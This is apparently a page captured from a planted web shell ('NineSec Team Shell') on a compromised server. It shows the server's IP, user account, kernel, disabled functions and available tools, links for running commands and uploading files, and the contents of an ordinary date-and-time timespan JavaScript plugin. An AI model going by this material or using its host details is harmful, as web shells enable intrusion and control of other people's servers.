NineSec Team Shell
Server IP : 92.205.26.207  /  Your IP : 216.73.216.16
Web Server : Apache
System : Linux 207.26.205.92.host.secureserver.net 4.18.0-553.60.1.el8_10.x86_64 #1 SMP Thu Jul 10 04:01:16 EDT 2025 x86_64
User : zikryat ( 1002)
PHP Version : 8.3.23
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/zikryat/public_html/node_modules/date-and-time/plugin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/zikryat/public_html/node_modules/date-and-time/plugin/timespan.js
(function (global, factory) {
    typeof exports === 'object' && typeof module !== 'undefined' ? module.exports = factory() :
    typeof define === 'function' && define.amd ? define(factory) :
    (global = typeof globalThis !== 'undefined' ? globalThis : global || self, (global.date = global.date || {}, global.date.plugin = global.date.plugin || {}, global.date.plugin.timespan = factory()));
})(this, (function () { 'use strict';

    /**
     * @preserve date-and-time.js plugin
     * @preserve timespan
     */

    var plugin = function (date) {
        var timeSpan = function (date1, date2) {
            var milliseconds = function (dt, time) {
                    dt.S = time;
                    return dt;
                },
                seconds = function (dt, time) {
                    dt.s = time / 1000 | 0;
                    return milliseconds(dt, Math.abs(time) % 1000);
                },
                minutes = function (dt, time) {
                    dt.m = time / 60000 | 0;
                    return seconds(dt, Math.abs(time) % 60000);
                },
                hours = function (dt, time) {
                    dt.H = time / 3600000 | 0;
                    return minutes(dt, Math.abs(time) % 3600000);
                },
                days = function (dt, time) {
                    dt.D = time / 86400000 | 0;
                    return hours(dt, Math.abs(time) % 86400000);
                },
                format = function (dt, formatString) {
                    var pattern = date.compile(formatString);
                    var str = '';

                    for (var i = 1, len = pattern.length, token, value; i < len; i++) {
                        token = pattern[i].charAt(0);
                        if (token in dt) {
                            value = '' + Math.abs(dt[token]);
                            while (value.length < pattern[i].length) {
                                value = '0' + value;
                            }
                            if (dt[token] < 0) {
                                value = '-' + value;
                            }
                            str += value;
                        } else {
                            str += pattern[i].replace(/\[(.*)]/, '$1');
                        }
                    }
                    return str;
                },
                delta = date1.getTime() - date2.getTime();

            return {
                toMilliseconds: function (formatString) {
                    return format(milliseconds({}, delta), formatString);
                },
                toSeconds: function (formatString) {
                    return format(seconds({}, delta), formatString);
                },
                toMinutes: function (formatString) {
                    return format(minutes({}, delta), formatString);
                },
                toHours: function (formatString) {
                    return format(hours({}, delta), formatString);
                },
                toDays: function (formatString) {
                    return format(days({}, delta), formatString);
                }
            };
        };
        var name = 'timespan';

        date.plugin(name, { extender: { timeSpan: timeSpan } });
        return name;
    };

    return plugin;

}));

NineSec Team - 2022